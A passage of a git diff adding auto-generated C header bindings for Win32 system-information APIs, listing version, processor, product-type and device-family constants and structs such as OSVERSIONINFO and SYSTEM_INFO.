_WIN32_IE_NT4 0x200 +#define _WIN32_IE_NT4SP1 0x200 +#define _WIN32_IE_NT4SP2 0x200 +#define _WIN32_IE_NT4SP3 0x302 +#define _WIN32_IE_NT4SP4 0x401 +#define _WIN32_IE_NT4SP5 0x401 +#define _WIN32_IE_NT4SP6 0x500 +#define _WIN32_IE_WIN98 0x401 +#define _WIN32_IE_WIN98SE 0x500 +#define _WIN32_IE_WINME 0x550 +#define _WIN32_IE_WIN2K 0x501 +#define _WIN32_IE_WIN2KSP1 0x501 +#define _WIN32_IE_WIN2KSP2 0x501 +#define _WIN32_IE_WIN2KSP3 0x501 +#define _WIN32_IE_WIN2KSP4 0x501 +#define _WIN32_IE_XP 0x600 +#define _WIN32_IE_XPSP1 0x601 +#define _WIN32_IE_XPSP2 0x603 +#define _WIN32_IE_WS03 0x602 +#define _WIN32_IE_WS03SP1 0x603 +#define _WIN32_IE_WIN6 0x700 +#define _WIN32_IE_LONGHORN 0x700 +#define _WIN32_IE_WIN7 0x800 +#define _WIN32_IE_WIN8 0xa00 +#define _WIN32_IE_WINBLUE 0xa00 +#define _WIN32_IE_WINTHRESHOLD 0xa00 +#define _WIN32_IE_WIN10 0xa00 +#define NTDDI_WIN4 0x4000000 +#define NTDDI_WIN2KSP1 0x5000100 +#define NTDDI_WIN2KSP2 0x5000200 +#define NTDDI_WIN2KSP3 0x5000300 +#define NTDDI_WIN2KSP4 0x5000400 +#define NTDDI_WINXPSP1 0x5010100 +#define NTDDI_WINXPSP3 0x5010300 +#define NTDDI_WINXPSP4 0x5010400 +#define NTDDI_WS03 0x5020000 +#define NTDDI_WS03SP2 0x5020200 +#define NTDDI_WS03SP3 0x5020300 +#define NTDDI_WS03SP4 0x5020400 +#define NTDDI_WIN6 0x6000000 +#define NTDDI_WIN6SP1 0x6000100 +#define NTDDI_WIN6SP2 0x6000200 +#define NTDDI_WIN6SP3 0x6000300 +#define NTDDI_WIN6SP4 0x6000400 +#define NTDDI_VISTASP2 0x6000200 +#define NTDDI_VISTASP3 0x6000300 +#define NTDDI_VISTASP4 0x6000400 +#define NTDDI_LONGHORN 0x6000000 +#define NTDDI_WS08 0x6000100 +#define NTDDI_WS08SP2 0x6000200 +#define NTDDI_WS08SP3 0x6000300 +#define NTDDI_WS08SP4 0x6000400 +#define NTDDI_WIN10 0xa000000 +#define NTDDI_WIN10_TH2 0xa000001 +#define NTDDI_WIN10_RS1 0xa000002 +#define NTDDI_WIN10_RS2 0xa000003 +#define NTDDI_WIN10_RS3 0xa000004 +#define NTDDI_WIN10_RS4 0xa000005 +#define NTDDI_WIN10_RS5 0xa000006 +#define NTDDI_WIN10_19H1 0xa000007 +#define NTDDI_WIN10_VB 0xa000008 +#define NTDDI_WIN10_MN 0xa000009 +#define NTDDI_WIN10_FE 0xa00000a +#define NTDDI_WIN10_CO 0xa00000b +#define NTDDI_WIN10_NI 0xa00000c +#define NTDDI_WIN10_CU 0xa00000d +#define NTDDI_WIN11_ZN 0xa00000e +#define NTDDI_WIN11_GA 0xa00000f +#define NTDDI_WIN11_GE 0xa000010 +#define WDK_NTDDI_VERSION 0xa000010 +#define OSVERSION_MASK 0xffff0000 +#define SPVERSION_MASK 0xff00 +#define SUBVERSION_MASK 0xff +#define NTDDI_VERSION 0xa000010 +#define SCEX2_ALT_NETBIOS_NAME 0x1 +#define DEVICEFAMILYINFOENUM_UAP 0x0 +#define DEVICEFAMILYINFOENUM_WINDOWS_8X 0x1 +#define DEVICEFAMILYINFOENUM_WINDOWS_PHONE_8X 0x2 +#define DEVICEFAMILYINFOENUM_DESKTOP 0x3 +#define DEVICEFAMILYINFOENUM_MOBILE 0x4 +#define DEVICEFAMILYINFOENUM_XBOX 0x5 +#define DEVICEFAMILYINFOENUM_TEAM 0x6 +#define DEVICEFAMILYINFOENUM_IOT 0x7 +#define DEVICEFAMILYINFOENUM_IOT_HEADLESS 0x8 +#define DEVICEFAMILYINFOENUM_SERVER 0x9 +#define DEVICEFAMILYINFOENUM_HOLOGRAPHIC 0xa +#define DEVICEFAMILYINFOENUM_XBOXSRA 0xb +#define DEVICEFAMILYINFOENUM_XBOXERA 0xc +#define DEVICEFAMILYINFOENUM_SERVER_NANO 0xd +#define DEVICEFAMILYINFOENUM_8828080 0xe +#define DEVICEFAMILYINFOENUM_7067329 0xf +#define DEVICEFAMILYINFOENUM_WINDOWS_CORE 0x10 +#define DEVICEFAMILYINFOENUM_WINDOWS_CORE_HEADLESS 0x11 +#define DEVICEFAMILYINFOENUM_MAX 0x11 +#define IMAGE_FILE_MACHINE_AXP64 0x284 +#define IMAGE_FILE_MACHINE_I386 0x14c +#define IMAGE_FILE_MACHINE_IA64 0x200 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#define IMAGE_FILE_MACHINE_UNKNOWN 0x0 +#define IMAGE_FILE_MACHINE_TARGET_HOST 0x1 +#define IMAGE_FILE_MACHINE_R3000 0x162 +#define IMAGE_FILE_MACHINE_R4000 0x166 +#define IMAGE_FILE_MACHINE_R10000 0x168 +#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x169 +#define IMAGE_FILE_MACHINE_ALPHA 0x184 +#define IMAGE_FILE_MACHINE_SH3 0x1a2 +#define IMAGE_FILE_MACHINE_SH3DSP 0x1a3 +#define IMAGE_FILE_MACHINE_SH3E 0x1a4 +#define IMAGE_FILE_MACHINE_SH4 0x1a6 +#define IMAGE_FILE_MACHINE_SH5 0x1a8 +#define IMAGE_FILE_MACHINE_ARM 0x1c0 +#define IMAGE_FILE_MACHINE_THUMB 0x1c2 +#define IMAGE_FILE_MACHINE_ARMNT 0x1c4 +#define IMAGE_FILE_MACHINE_AM33 0x1d3 +#define IMAGE_FILE_MACHINE_POWERPC 0x1f0 +#define IMAGE_FILE_MACHINE_POWERPCFP 0x1f1 +#define IMAGE_FILE_MACHINE_MIPS16 0x266 +#define IMAGE_FILE_MACHINE_ALPHA64 0x284 +#define IMAGE_FILE_MACHINE_MIPSFPU 0x366 +#define IMAGE_FILE_MACHINE_MIPSFPU16 0x466 +#define IMAGE_FILE_MACHINE_TRICORE 0x520 +#define IMAGE_FILE_MACHINE_CEF 0xcef +#define IMAGE_FILE_MACHINE_EBC 0xebc +#define IMAGE_FILE_MACHINE_M32R 0x9041 +#define IMAGE_FILE_MACHINE_ARM64 0xaa64 +#define IMAGE_FILE_MACHINE_CEE 0xc0ee +#define OS_DEPLOYMENT_STANDARD 1 +#define OS_DEPLOYMENT_COMPACT 2 +#define CacheUnified 0 +#define CacheInstruction 1 +#define CacheData 2 +#define CacheTrace 3 +#define CacheUnknown 4 +#define USER_CET_ENVIRONMENT_WIN32_PROCESS 0x0 +#define USER_CET_ENVIRONMENT_SGX2_ENCLAVE 0x2 +#define USER_CET_ENVIRONMENT_VBS_ENCLAVE 0x10 +#define USER_CET_ENVIRONMENT_VBS_BASIC_ENCLAVE 0x11 +#define GlobalDataIdUnknown 0 +#define GlobalDataIdRngSeedVersion 1 +#define GlobalDataIdInterruptTime 2 +#define GlobalDataIdTimeZoneBias 3 +#define GlobalDataIdImageNumberLow 4 +#define GlobalDataIdImageNumberHigh 5 +#define GlobalDataIdTimeZoneId 6 +#define GlobalDataIdNtMajorVersion 7 +#define GlobalDataIdNtMinorVersion 8 +#define GlobalDataIdSystemExpirationDate 9 +#define GlobalDataIdKdDebuggerEnabled 10 +#define GlobalDataIdCyclesPerYield 11 +#define GlobalDataIdSafeBootMode 12 +#define GlobalDataIdLastSystemRITEventTickCount 13 +#define GlobalDataIdConsoleSharedDataFlags 14 +#define GlobalDataIdNtSystemRootDrive 15 +#define GlobalDataIdQpcBypassEnabled 16 +#define GlobalDataIdQpcData 17 +#define GlobalDataIdQpcBias 18 +#define DEVICEFAMILYDEVICEFORM_UNKNOWN 0x0 +#define DEVICEFAMILYDEVICEFORM_PHONE 0x1 +#define DEVICEFAMILYDEVICEFORM_TABLET 0x2 +#define DEVICEFAMILYDEVICEFORM_DESKTOP 0x3 +#define DEVICEFAMILYDEVICEFORM_NOTEBOOK 0x4 +#define DEVICEFAMILYDEVICEFORM_CONVERTIBLE 0x5 +#define DEVICEFAMILYDEVICEFORM_DETACHABLE 0x6 +#define DEVICEFAMILYDEVICEFORM_ALLINONE 0x7 +#define DEVICEFAMILYDEVICEFORM_STICKPC 0x8 +#define DEVICEFAMILYDEVICEFORM_PUCK 0x9 +#define DEVICEFAMILYDEVICEFORM_LARGESCREEN 0xa +#define DEVICEFAMILYDEVICEFORM_HMD 0xb +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_HANDHELD 0xc +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_TABLET 0xd +#define DEVICEFAMILYDEVICEFORM_BANKING 0xe +#define DEVICEFAMILYDEVICEFORM_BUILDING_AUTOMATION 0xf +#define DEVICEFAMILYDEVICEFORM_DIGITAL_SIGNAGE 0x10 +#define DEVICEFAMILYDEVICEFORM_GAMING 0x11 +#define DEVICEFAMILYDEVICEFORM_HOME_AUTOMATION 0x12 +#define DEVICEFAMILYDEVICEFORM_INDUSTRIAL_AUTOMATION 0x13 +#define DEVICEFAMILYDEVICEFORM_KIOSK 0x14 +#define DEVICEFAMILYDEVICEFORM_MAKER_BOARD 0x15 +#define DEVICEFAMILYDEVICEFORM_MEDICAL 0x16 +#define DEVICEFAMILYDEVICEFORM_NETWORKING 0x17 +#define DEVICEFAMILYDEVICEFORM_POINT_OF_SERVICE 0x18 +#define DEVICEFAMILYDEVICEFORM_PRINTING 0x19 +#define DEVICEFAMILYDEVICEFORM_THIN_CLIENT 0x1a +#define DEVICEFAMILYDEVICEFORM_TOY 0x1b +#define DEVICEFAMILYDEVICEFORM_VENDING 0x1c +#define DEVICEFAMILYDEVICEFORM_INDUSTRY_OTHER 0x1d +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE 0x1e +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_S 0x1f +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X 0x20 +#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X_DEVKIT 0x21 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X 0x22 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X_DEVKIT 0x23 +#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_S 0x24 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_01 0x25 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_02 0x26 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_03 0x27 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_04 0x28 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_05 0x29 +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_06 0x2a +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_07 0x2b +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_08 0x2c +#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_09 0x2d +#define DEVICEFAMILYDEVICEFORM_GAMING_HANDHELD 0x2e +#define DEVICEFAMILYDEVICEFORM_GAMING_CONSOLE 0x2f +#define DEVICEFAMILYDEVICEFORM_MAX 0x2f +#define ComputerNameNetBIOS 0 +#define ComputerNameDnsHostname 1 +#define ComputerNameDnsDomain 2 +#define ComputerNameDnsFullyQualified 3 +#define ComputerNamePhysicalNetBIOS 4 +#define ComputerNamePhysicalDnsHostname 5 +#define ComputerNamePhysicalDnsDomain 6 +#define ComputerNamePhysicalDnsFullyQualified 7 +#define ComputerNameMax 8 +#define PROCESSOR_ARCHITECTURE_INTEL 0x0 +#define PROCESSOR_ARCHITECTURE_MIPS 0x1 +#define PROCESSOR_ARCHITECTURE_ALPHA 0x2 +#define PROCESSOR_ARCHITECTURE_PPC 0x3 +#define PROCESSOR_ARCHITECTURE_SHX 0x4 +#define PROCESSOR_ARCHITECTURE_ARM 0x5 +#define PROCESSOR_ARCHITECTURE_IA64 0x6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 0x7 +#define PROCESSOR_ARCHITECTURE_MSIL 0x8 +#define PROCESSOR_ARCHITECTURE_AMD64 0x9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 0xa +#define PROCESSOR_ARCHITECTURE_NEUTRAL 0xb +#define PROCESSOR_ARCHITECTURE_ARM64 0xc +#define PROCESSOR_ARCHITECTURE_ARM32_ON_WIN64 0xd +#define PROCESSOR_ARCHITECTURE_IA32_ON_ARM64 0xe +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xffff +#define VER_MINORVERSION 0x1 +#define VER_MAJORVERSION 0x2 +#define VER_BUILDNUMBER 0x4 +#define VER_PLATFORMID 0x8 +#define VER_SERVICEPACKMINOR 0x10 +#define VER_SERVICEPACKMAJOR 0x20 +#define VER_SUITENAME 0x40 +#define VER_PRODUCT_TYPE 0x80 +#define ACPI 0x41435049 +#define FIRM 0x4649524d +#define RSMB 0x52534d42 +#define RelationProcessorCore 0 +#define RelationNumaNode 1 +#define RelationCache 2 +#define RelationProcessorPackage 3 +#define RelationGroup 4 +#define RelationProcessorDie 5 +#define RelationNumaNodeEx 6 +#define RelationProcessorModule 7 +#define RelationAll 65535 +#define DEPPolicyAlwaysOff 0 +#define DEPPolicyAlwaysOn 1 +#define DEPPolicyOptIn 2 +#define DEPPolicyOptOut 3 +#define DEPTotalPolicyCount 4 +#define DeveloperDriveEnablementStateError 0 +#define DeveloperDriveEnabled 1 +#define DeveloperDriveDisabledBySystemPolicy 2 +#define DeveloperDriveDisabledByGroupPolicy 3 +#define FirmwareTypeUnknown 0 +#define FirmwareTypeBios 1 +#define FirmwareTypeUefi 2 +#define FirmwareTypeMax 3 +#define PRODUCT_UNDEFINED 0x0 +#define PRODUCT_ULTIMATE 0x1 +#define PRODUCT_HOME_BASIC 0x2 +#define PRODUCT_HOME_PREMIUM 0x3 +#define PRODUCT_ENTERPRISE 0x4 +#define PRODUCT_HOME_BASIC_N 0x5 +#define PRODUCT_BUSINESS 0x6 +#define PRODUCT_STANDARD_SERVER 0x7 +#define PRODUCT_DATACENTER_SERVER 0x8 +#define PRODUCT_SMALLBUSINESS_SERVER 0x9 +#define PRODUCT_ENTERPRISE_SERVER 0xa +#define PRODUCT_STARTER 0xb +#define PRODUCT_DATACENTER_SERVER_CORE 0xc +#define PRODUCT_STANDARD_SERVER_CORE 0xd +#define PRODUCT_ENTERPRISE_SERVER_CORE 0xe +#define PRODUCT_ENTERPRISE_SERVER_IA64 0xf +#define PRODUCT_BUSINESS_N 0x10 +#define PRODUCT_WEB_SERVER 0x11 +#define PRODUCT_CLUSTER_SERVER 0x12 +#define PRODUCT_HOME_SERVER 0x13 +#define PRODUCT_STORAGE_EXPRESS_SERVER 0x14 +#define PRODUCT_STORAGE_STANDARD_SERVER 0x15 +#define PRODUCT_STORAGE_WORKGROUP_SERVER 0x16 +#define PRODUCT_STORAGE_ENTERPRISE_SERVER 0x17 +#define PRODUCT_SERVER_FOR_SMALLBUSINESS 0x18 +#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM 0x19 +#define PRODUCT_HOME_PREMIUM_N 0x1a +#define PRODUCT_ENTERPRISE_N 0x1b +#define PRODUCT_ULTIMATE_N 0x1c +#define PRODUCT_WEB_SERVER_CORE 0x1d +#define PRODUCT_MEDIUMBUSINESS_SERVER_MANAGEMENT 0x1e +#define PRODUCT_MEDIUMBUSINESS_SERVER_SECURITY 0x1f +#define PRODUCT_MEDIUMBUSINESS_SERVER_MESSAGING 0x20 +#define PRODUCT_SERVER_FOUNDATION 0x21 +#define PRODUCT_HOME_PREMIUM_SERVER 0x22 +#define PRODUCT_SERVER_FOR_SMALLBUSINESS_V 0x23 +#define PRODUCT_STANDARD_SERVER_V 0x24 +#define PRODUCT_DATACENTER_SERVER_V 0x25 +#define PRODUCT_ENTERPRISE_SERVER_V 0x26 +#define PRODUCT_DATACENTER_SERVER_CORE_V 0x27 +#define PRODUCT_STANDARD_SERVER_CORE_V 0x28 +#define PRODUCT_ENTERPRISE_SERVER_CORE_V 0x29 +#define PRODUCT_HYPERV 0x2a +#define PRODUCT_STORAGE_EXPRESS_SERVER_CORE 0x2b +#define PRODUCT_STORAGE_STANDARD_SERVER_CORE 0x2c +#define PRODUCT_STORAGE_WORKGROUP_SERVER_CORE 0x2d +#define PRODUCT_STORAGE_ENTERPRISE_SERVER_CORE 0x2e +#define PRODUCT_STARTER_N 0x2f +#define PRODUCT_PROFESSIONAL 0x30 +#define PRODUCT_PROFESSIONAL_N 0x31 +#define PRODUCT_SB_SOLUTION_SERVER 0x32 +#define PRODUCT_SERVER_FOR_SB_SOLUTIONS 0x33 +#define PRODUCT_STANDARD_SERVER_SOLUTIONS 0x34 +#define PRODUCT_STANDARD_SERVER_SOLUTIONS_CORE 0x35 +#define PRODUCT_SB_SOLUTION_SERVER_EM 0x36 +#define PRODUCT_SERVER_FOR_SB_SOLUTIONS_EM 0x37 +#define PRODUCT_SOLUTION_EMBEDDEDSERVER 0x38 +#define PRODUCT_SOLUTION_EMBEDDEDSERVER_CORE 0x39 +#define PRODUCT_PROFESSIONAL_EMBEDDED 0x3a +#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMT 0x3b +#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDL 0x3c +#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMTSVC 0x3d +#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDLSVC 0x3e +#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM_CORE 0x3f +#define PRODUCT_CLUSTER_SERVER_V 0x40 +#define PRODUCT_EMBEDDED 0x41 +#define PRODUCT_STARTER_E 0x42 +#define PRODUCT_HOME_BASIC_E 0x43 +#define PRODUCT_HOME_PREMIUM_E 0x44 +#define PRODUCT_PROFESSIONAL_E 0x45 +#define PRODUCT_ENTERPRISE_E 0x46 +#define PRODUCT_ULTIMATE_E 0x47 +#define PRODUCT_ENTERPRISE_EVALUATION 0x48 +#define PRODUCT_MULTIPOINT_STANDARD_SERVER 0x4c +#define PRODUCT_MULTIPOINT_PREMIUM_SERVER 0x4d +#define PRODUCT_STANDARD_EVALUATION_SERVER 0x4f +#define PRODUCT_DATACENTER_EVALUATION_SERVER 0x50 +#define PRODUCT_ENTERPRISE_N_EVALUATION 0x54 +#define PRODUCT_EMBEDDED_AUTOMOTIVE 0x55 +#define PRODUCT_EMBEDDED_INDUSTRY_A 0x56 +#define PRODUCT_THINPC 0x57 +#define PRODUCT_EMBEDDED_A 0x58 +#define PRODUCT_EMBEDDED_INDUSTRY 0x59 +#define PRODUCT_EMBEDDED_E 0x5a +#define PRODUCT_EMBEDDED_INDUSTRY_E 0x5b +#define PRODUCT_EMBEDDED_INDUSTRY_A_E 0x5c +#define PRODUCT_STORAGE_WORKGROUP_EVALUATION_SERVER 0x5f +#define PRODUCT_STORAGE_STANDARD_EVALUATION_SERVER 0x60 +#define PRODUCT_CORE_ARM 0x61 +#define PRODUCT_CORE_N 0x62 +#define PRODUCT_CORE_COUNTRYSPECIFIC 0x63 +#define PRODUCT_CORE_SINGLELANGUAGE 0x64 +#define PRODUCT_CORE 0x65 +#define PRODUCT_PROFESSIONAL_WMC 0x67 +#define PRODUCT_EMBEDDED_INDUSTRY_EVAL 0x69 +#define PRODUCT_EMBEDDED_INDUSTRY_E_EVAL 0x6a +#define PRODUCT_EMBEDDED_EVAL 0x6b +#define PRODUCT_EMBEDDED_E_EVAL 0x6c +#define PRODUCT_NANO_SERVER 0x6d +#define PRODUCT_CLOUD_STORAGE_SERVER 0x6e +#define PRODUCT_CORE_CONNECTED 0x6f +#define PRODUCT_PROFESSIONAL_STUDENT 0x70 +#define PRODUCT_CORE_CONNECTED_N 0x71 +#define PRODUCT_PROFESSIONAL_STUDENT_N 0x72 +#define PRODUCT_CORE_CONNECTED_SINGLELANGUAGE 0x73 +#define PRODUCT_CORE_CONNECTED_COUNTRYSPECIFIC 0x74 +#define PRODUCT_CONNECTED_CAR 0x75 +#define PRODUCT_INDUSTRY_HANDHELD 0x76 +#define PRODUCT_PPI_PRO 0x77 +#define PRODUCT_ARM64_SERVER 0x78 +#define PRODUCT_EDUCATION 0x79 +#define PRODUCT_EDUCATION_N 0x7a +#define PRODUCT_IOTUAP 0x7b +#define PRODUCT_CLOUD_HOST_INFRASTRUCTURE_SERVER 0x7c +#define PRODUCT_ENTERPRISE_S 0x7d +#define PRODUCT_ENTERPRISE_S_N 0x7e +#define PRODUCT_PROFESSIONAL_S 0x7f +#define PRODUCT_PROFESSIONAL_S_N 0x80 +#define PRODUCT_ENTERPRISE_S_EVALUATION 0x81 +#define PRODUCT_ENTERPRISE_S_N_EVALUATION 0x82 +#define PRODUCT_HOLOGRAPHIC 0x87 +#define PRODUCT_HOLOGRAPHIC_BUSINESS 0x88 +#define PRODUCT_PRO_SINGLE_LANGUAGE 0x8a +#define PRODUCT_PRO_CHINA 0x8b +#define PRODUCT_ENTERPRISE_SUBSCRIPTION 0x8c +#define PRODUCT_ENTERPRISE_SUBSCRIPTION_N 0x8d +#define PRODUCT_DATACENTER_NANO_SERVER 0x8f +#define PRODUCT_STANDARD_NANO_SERVER 0x90 +#define PRODUCT_DATACENTER_A_SERVER_CORE 0x91 +#define PRODUCT_STANDARD_A_SERVER_CORE 0x92 +#define PRODUCT_DATACENTER_WS_SERVER_CORE 0x93 +#define PRODUCT_STANDARD_WS_SERVER_CORE 0x94 +#define PRODUCT_UTILITY_VM 0x95 +#define PRODUCT_DATACENTER_EVALUATION_SERVER_CORE 0x9f +#define PRODUCT_STANDARD_EVALUATION_SERVER_CORE 0xa0 +#define PRODUCT_PRO_WORKSTATION 0xa1 +#define PRODUCT_PRO_WORKSTATION_N 0xa2 +#define PRODUCT_PRO_FOR_EDUCATION 0xa4 +#define PRODUCT_PRO_FOR_EDUCATION_N 0xa5 +#define PRODUCT_AZURE_SERVER_CORE 0xa8 +#define PRODUCT_AZURE_NANO_SERVER 0xa9 +#define PRODUCT_ENTERPRISEG 0xab +#define PRODUCT_ENTERPRISEGN 0xac +#define PRODUCT_SERVERRDSH 0xaf +#define PRODUCT_CLOUD 0xb2 +#define PRODUCT_CLOUDN 0xb3 +#define PRODUCT_HUBOS 0xb4 +#define PRODUCT_ONECOREUPDATEOS 0xb6 +#define PRODUCT_CLOUDE 0xb7 +#define PRODUCT_IOTOS 0xb9 +#define PRODUCT_CLOUDEN 0xba +#define PRODUCT_IOTEDGEOS 0xbb +#define PRODUCT_IOTENTERPRISE 0xbc +#define PRODUCT_LITE 0xbd +#define PRODUCT_IOTENTERPRISES 0xbf +#define PRODUCT_XBOX_SYSTEMOS 0xc0 +#define PRODUCT_XBOX_GAMEOS 0xc2 +#define PRODUCT_XBOX_ERAOS 0xc3 +#define PRODUCT_XBOX_DURANGOHOSTOS 0xc4 +#define PRODUCT_XBOX_SCARLETTHOSTOS 0xc5 +#define PRODUCT_XBOX_KEYSTONE 0xc6 +#define PRODUCT_AZURE_SERVER_CLOUDHOST 0xc7 +#define PRODUCT_AZURE_SERVER_CLOUDMOS 0xc8 +#define PRODUCT_CLOUDEDITIONN 0xca +#define PRODUCT_CLOUDEDITION 0xcb +#define PRODUCT_VALIDATION 0xcc +#define PRODUCT_IOTENTERPRISESK 0xcd +#define PRODUCT_IOTENTERPRISEK 0xce +#define PRODUCT_IOTENTERPRISESEVAL 0xcf +#define PRODUCT_AZURE_SERVER_AGENTBRIDGE 0xd0 +#define PRODUCT_AZURE_SERVER_NANOHOST 0xd1 +#define PRODUCT_WNC 0xd2 +#define PRODUCT_AZURESTACKHCI_SERVER_CORE 0x196 +#define PRODUCT_DATACENTER_SERVER_AZURE_EDITION 0x197 +#define PRODUCT_DATACENTER_SERVER_CORE_AZURE_EDITION 0x198 +#define PRODUCT_DATACENTER_WS_SERVER_CORE_AZURE_EDITION 0x199 +#define PRODUCT_UNLICENSED 0xabcdabcd +#define CpuSetInformation 0 + +typedef struct _SYSTEM_POOL_ZEROING_INFORMATION { + BOOL PoolZeroingSupportPresent; +} SYSTEM_POOL_ZEROING_INFORMATION; + +typedef struct _OSVERSIONINFOW { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned short szCSDVersion[128]; +} OSVERSIONINFOW; + +typedef struct _SYSTEM_CPU_SET_INFORMATION { + unsigned int Size; + void* Type; + void* Anonymous; +} SYSTEM_CPU_SET_INFORMATION; + +typedef struct _CACHE_DESCRIPTOR { + unsigned char Level; + unsigned char Associativity; + unsigned short LineSize; + unsigned int Size; + void* Type; +} CACHE_DESCRIPTOR; + +typedef struct _GROUP_AFFINITY64 { + unsigned long long Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY64; + +typedef struct _MEMORYSTATUS { + unsigned int dwLength; + unsigned int dwMemoryLoad; + unsigned long long dwTotalPhys; + unsigned long long dwAvailPhys; + unsigned long long dwTotalPageFile; + unsigned long long dwAvailPageFile; + unsigned long long dwTotalVirtual; + unsigned long long dwAvailVirtual; +} MEMORYSTATUS; + +typedef struct _GROUP_AFFINITY32 { + unsigned int Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY32; + +typedef struct _SYSTEM_INFO { + void* Anonymous; + unsigned int dwPageSize; + void* lpMinimumApplicationAddress; + void* lpMaximumApplicationAddress; + unsigned long long dwActiveProcessorMask; + unsigned int dwNumberOfProcessors; + unsigned int dwProcessorType; + unsigned int dwAllocationGranularity; + unsigned short wProcessorLevel; + unsigned short wProcessorRevision; +} SYSTEM_INFO; + +typedef struct _PROCESSOR_RELATIONSHIP { + unsigned char Flags; + unsigned char EfficiencyClass; + unsigned char Reserved[20]; + unsigned short GroupCount; + void* GroupMask[1]; +} PROCESSOR_RELATIONSHIP; + +typedef struct _CACHE_RELATIONSHIP { + unsigned char Level; + unsigned char Associativity; + unsigned short LineSize; + unsigned int CacheSize; + void* Type; + unsigned char Reserved[18]; + unsigned short GroupCount; + void* Anonymous; +} CACHE_RELATIONSHIP; + +typedef struct _GROUP_RELATIONSHIP { + unsigned short MaximumGroupCount; + unsigned short ActiveGroupCount; + unsigned char Reserved[20]; + void* GroupInfo[1]; +} GROUP_RELATIONSHIP; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + unsigned long long ProcessorMask; + void* Relationship; + void* Anonymous; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +typedef struct _OSVERSIONINFOA { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned char szCSDVersion[128]; +} OSVERSIONINFOA; + +typedef struct _GROUP_AFFINITY { + unsigned long long Mask; + unsigned short Group; + unsigned short Reserved[3]; +} GROUP_AFFINITY; + +typedef struct _MEMORYSTATUSEX { + unsigned int dwLength; + unsigned int dwMemoryLoad; + unsigned long long ullTotalPhys; + unsigned long long ullAvailPhys; + unsigned long long ullTotalPageFile; + unsigned long long ullAvailPageFile; + unsigned long long ullTotalVirtual; + unsigned long long ullAvailVirtual; + unsigned long long ullAvailExtendedVirtual; +} MEMORYSTATUSEX; + +typedef struct _SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION { + unsigned int _bitfield; +} SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION { + unsigned long long CycleTime; +} SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION; + +typedef struct _OSVERSIONINFOEXA { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned char szCSDVersion[128]; + unsigned short wServicePackMajor; + unsigned short wServicePackMinor; + unsigned short wSuiteMask; + unsigned char wProductType; + unsigned char wReserved; +} OSVERSIONINFOEXA; + +typedef struct _NUMA_NODE_RELATIONSHIP { + unsigned int NodeNumber; + unsigned char Reserved[18]; + unsigned short GroupCount; + void* Anonymous; +} NUMA_NODE_RELATIONSHIP; + +typedef struct _PROCESSOR_GROUP_INFO { + unsigned char MaximumProcessorCount; + unsigned char ActiveProcessorCount; + unsigned char Reserved[38]; + unsigned long long ActiveProcessorMask; +} PROCESSOR_GROUP_INFO; + +typedef struct _OSVERSIONINFOEXW { + unsigned int dwOSVersionInfoSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + unsigned int dwBuildNumber; + unsigned int dwPlatformId; + unsigned short szCSDVersion[128]; + unsigned short wServicePackMajor; + unsigned short wServicePackMinor; + unsigned short wSuiteMask; + unsigned char wProductType; + unsigned char wReserved; +} OSVERSIONINFOEXW; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX { + void* Relationship; + unsigned int Size; + void* Anonymous; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX; + diff --git a/stdlib/win32/systemservices.h b/stdlib/win32/systemservices.h new file mode 100644 index 0000000..8399e42 --- /dev/null +++ b/stdlib/win32/systemservices.h @@ -0,0 +1,3681 @@ +// Generated by entc-win32gen from `Windows.Win32.System.SystemServices`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define _MM_HINT_T0 0x1 +#define _MM_HINT_T1 0x2 +#define _MM_HINT_T2 0x3 